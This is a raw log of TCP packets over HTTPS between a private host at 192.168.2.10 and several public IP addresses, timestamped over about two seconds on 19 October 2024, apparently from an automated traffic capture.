Oct 19, 2024 00:14:30.758363008 CEST	443	50018	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.758816004 CEST	50018	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.758838892 CEST	443	50018	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.788360119 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.788609028 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.791500092 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.794986963 CEST	50019	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.795022964 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.795475006 CEST	50019	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.795484066 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.803359032 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.803467035 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.803498030 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.804028988 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.804042101 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.804091930 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.804181099 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.870891094 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:30.870944023 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:30.871009111 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:30.871253967 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:30.871278048 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:30.880086899 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:30.880120993 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:30.880183935 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:30.880369902 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:30.880379915 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:30.895812035 CEST	443	50018	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.896292925 CEST	443	50018	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.896348953 CEST	50018	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.896565914 CEST	50018	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.896588087 CEST	443	50018	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.896599054 CEST	50018	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.896605968 CEST	443	50018	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.899593115 CEST	50026	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.899642944 CEST	443	50026	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.899724960 CEST	50026	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.899864912 CEST	50026	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.899882078 CEST	443	50026	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.929373026 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.929406881 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.929454088 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.929456949 CEST	50019	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.929632902 CEST	50019	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.929771900 CEST	50019	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.929792881 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.929807901 CEST	50019	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.929814100 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.933223963 CEST	50027	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.933238983 CEST	443	50027	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.933307886 CEST	50027	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.934137106 CEST	50027	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.934145927 CEST	443	50027	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.958543062 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.958579063 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.958650112 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.958837986 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.958848953 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.068854094 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:31.068897963 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:31.068969011 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:31.069179058 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:31.069190979 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:31.499193907 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.524596930 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.524621964 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.525861979 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.525928974 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.530163050 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.530163050 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.530179977 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.530422926 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.573594093 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.573612928 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.587493896 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.594480991 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.594504118 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.598704100 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.598932981 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.601594925 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.601594925 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.603169918 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.608762980 CEST	443	50020	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.610476017 CEST	443	50023	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.613734961 CEST	50020	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.613734961 CEST	50020	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.613754988 CEST	443	50020	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.613770962 CEST	443	50020	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.614609003 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.617613077 CEST	50023	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.617629051 CEST	443	50023	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.618473053 CEST	50023	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.618478060 CEST	443	50023	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.620405912 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.621786118 CEST	50021	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.621819019 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.622191906 CEST	50021	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.622198105 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.653462887 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.653491020 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.653601885 CEST	443	50026	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.658480883 CEST	50026	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.658524990 CEST	443	50026	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.659434080 CEST	50026	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.659449100 CEST	443	50026	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.670932055 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.670993090 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.671399117 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.671418905 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.671587944 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.671627998 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.671657085 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.671688080 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.671688080 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.671695948 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.672162056 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.672204971 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.672215939 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.699207067 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.707855940 CEST	443	50027	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.710985899 CEST	50027	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.711008072 CEST	443	50027	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.711419106 CEST	50027	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.711441040 CEST	443	50027	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.714167118 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.714179039 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.723457098 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.724982023 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.724993944 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.726016045 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.726145029 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.736470938 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.736632109 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.740520000 CEST	443	50020	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.740561008 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.740577936 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.740597963 CEST	443	50020	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.740730047 CEST	50020	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.748476028 CEST	443	50023	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.748568058 CEST	443	50023	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.748778105 CEST	50023	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.751030922 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.751072884 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.751126051 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.751141071 CEST	50021	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.751169920 CEST	50021	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.756309032 CEST	50020	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.756309032 CEST	50020	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.756340027 CEST	443	50020	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.756344080 CEST	443	50020	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.759699106 CEST	50023	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.759699106 CEST	50023	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.759708881 CEST	443	50023	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.759716988 CEST	443	50023	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.760385036 CEST	50021	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.760412931 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.760426044 CEST	50021	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.760432005 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.761059999 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.764362097 CEST	50031	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.764394999 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.766616106 CEST	50031	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.767025948 CEST	50032	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.767051935 CEST	443	50032	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.767117023 CEST	50032	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.767412901 CEST	50031	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.767424107 CEST	443	50031	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.767514944 CEST	50032	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.767524004 CEST	443	50032	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.768791914 CEST	50033	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.768826008 CEST	443	50033	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.769160986 CEST	50033	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.769160986 CEST	50033	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.769186974 CEST	443	50033	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.787632942 CEST	443	50026	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.787744045 CEST	443	50026	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.787820101 CEST	50026	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.788011074 CEST	50026	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.788029909 CEST	443	50026	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.788044930 CEST	50026	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.788050890 CEST	443	50026	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.790407896 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.790606022 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.790640116 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.790766954 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.790777922 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.790853024 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.790859938 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.790863991 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.791039944 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.791074038 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.791110039 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.791110039 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.791115999 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.791673899 CEST	50034	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.791712046 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.792823076 CEST	50034	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.793298960 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.795423031 CEST	50034	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.795438051 CEST	443	50034	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.839149952 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.839167118 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.841531992 CEST	443	50027	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.841907024 CEST	443	50027	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.842839956 CEST	50027	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.842871904 CEST	50027	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.842892885 CEST	443	50027	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.842974901 CEST	50027	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.842983961 CEST	443	50027	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.845637083 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.845658064 CEST	50035	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.845698118 CEST	443	50035	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.845906019 CEST	50035	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.846090078 CEST	50035	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.846098900 CEST	443	50035	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.870644093 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.870672941 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.870719910 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.870754957 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.870976925 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.872045994 CEST	50028	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.872075081 CEST	443	50028	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.874476910 CEST	50036	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.874514103 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.874937057 CEST	50036	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.874937057 CEST	50036	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:31.874963045 CEST	443	50036	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:31.886020899 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.886157036 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.898471117 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:31.898494005 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:31.898693085 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:31.898874998 CEST	50037	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:31.898889065 CEST	443	50037	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:31.907428026 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.908556938 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.908638000 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.908749104 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.908759117 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.908768892 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.908814907 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.908881903 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.908926964 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.908938885 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.908997059 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.909037113 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.909048080 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.909668922 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.909974098 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.909981012 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.919872999 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:31.920270920 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:31.920298100 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:31.921302080 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:31.921406984 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:31.922472000 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:31.922591925 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:31.922924042 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:31.922939062 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:31.962083101 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.962094069 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.962126017 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.962143898 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.962150097 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.962225914 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.962225914 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.962249041 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:31.962330103 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:31.964878082 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:31.964885950 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:31.964884043 CEST	50024	443	192.168.2.10	192.229.133.221
Oct 19, 2024 00:14:32.011032104 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.025700092 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.027554989 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.027632952 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.027633905 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.027642965 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.027734995 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.027868986 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.028511047 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.028537035 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.028556108 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.028562069 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.028572083 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.028815031 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.066293955 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.066673994 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.066699028 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.067687035 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.067753077 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.068340063 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.068340063 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.068399906 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.072786093 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.083688021 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.083703041 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.083746910 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.083754063 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:32.083961964 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.086472034 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:32.086488008 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.087105989 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:32.120390892 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.120393038 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.120414972 CEST	443	50030	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:32.145061970 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.145071983 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.145127058 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.145271063 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.145277977 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.145327091 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.145334005 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.146063089 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.146096945 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.146107912 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.146136045 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.153007984 CEST	443	50024	192.229.133.221	192.168.2.10
Oct 19, 2024 00:14:32.167273045 CEST	50030	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:32.191560030 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.191569090 CEST	443	50025	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:32.191637993 CEST	50025	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:32.196202993 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.196216106 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.196233988 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.196273088 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.196286917 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:32.196312904 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.196342945 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.196391106 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:32.196391106 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:32.198467016 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:32.198492050 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:32.198801041 CEST	50024	443	192.168.2.10	192.229.133.221
